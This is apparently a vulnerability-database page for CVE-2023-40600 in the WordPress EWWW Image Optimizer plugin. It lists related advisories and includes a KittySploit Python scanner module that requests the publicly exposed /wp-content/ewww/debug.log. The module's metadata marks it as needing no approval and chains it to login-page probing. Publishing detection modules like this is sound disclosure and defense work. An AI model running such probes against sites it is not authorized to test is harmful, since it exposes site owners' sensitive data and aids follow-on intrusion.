EWWW Image Optimizer <= 7.2.0 - Unauthenticated Information Disclosure Detection
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Ewww Image_Optimizer | 20 Nov 202319:05 | – | githubexploit | |
| CVE-2023-40600 | 1 Dec 202314:37 | – | circl | |
| WordPress Plugin EWWW Image Optimizer Information Disclosure Vulnerability | 30 Nov 202300:00 | – | cnnvd | |
| CVE-2023-40600 | 30 Nov 202315:00 | – | cve | |
| CVE-2023-40600 WordPress EWWW Image Optimizer Plugin <= 7.2.0 is vulnerable to Sensitive Data Exposure | 30 Nov 202315:00 | – | cvelist | |
| CVE-2023-40600 | 12 Oct 202610:48 | – | kitploit | |
| EWWW Image Optimizer <= 7.2.0 - Unauthenticated Information Disclosure | 3 Apr 202607:34 | – | nuclei | |
| CVE-2023-40600 | 30 Nov 202315:15 | – | nvd | |
| WordPress EWWW Image Optimizer Plugin < 7.2.1 Information Disclosure Vulnerability | 4 Dec 202300:00 | – | openvas | |
| WordPress EWWW Image Optimizer Plugin <= 7.2.0 is vulnerable to Sensitive Data Exposure | 14 Nov 202300:00 | – | patchstack |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The EWWW Image Optimizer plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions ."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'EWWW Image Optimizer <= 7.2.0 - Unauthenticated Information Disclosure Detection',
'description': 'The EWWW Image Optimizer plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 7.2.0 via the debug_log function. This makes it possible for unauthenticated attackers to extract sensitive debug data when debug logging is enabled.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'wp', 'wordpress', 'wp-plugin', 'ewww-image-optimizer', 'vkev'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2023-40600',
'https://patchstack.com/database/wordpress/plugin/ewww-image-optimizer/vulnerability/wordpress-ewww-image-optimizer-plugin-7-2-0-sensitive-data-exposure-vulnerability',
'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ewww-image-optimizer/ewww-image-optimizer-720-unauthenticated-sensitive-information-exposure-via-debug-log',
],
'cve': 'CVE-2023-40600',
}
def run(self):
r = self.http_request(method="GET", path='/wp-content/ewww/debug.log', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('ewww_image_optimizer', '__construct()',)
if (all(m in body for m in body_all)):
self.set_info(
severity='medium',
reason="EWWW Image Optimizer <= 7.2.0 - Unauthenticated Information Disclosure detected",
path='/wp-content/ewww/debug.log',
)
return True
return False
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28 Jul 2026 11:27Current
7.5High risk
Vulners AI Score7.5
CVSS 3.15.3 - 7.5
EPSS0.02019
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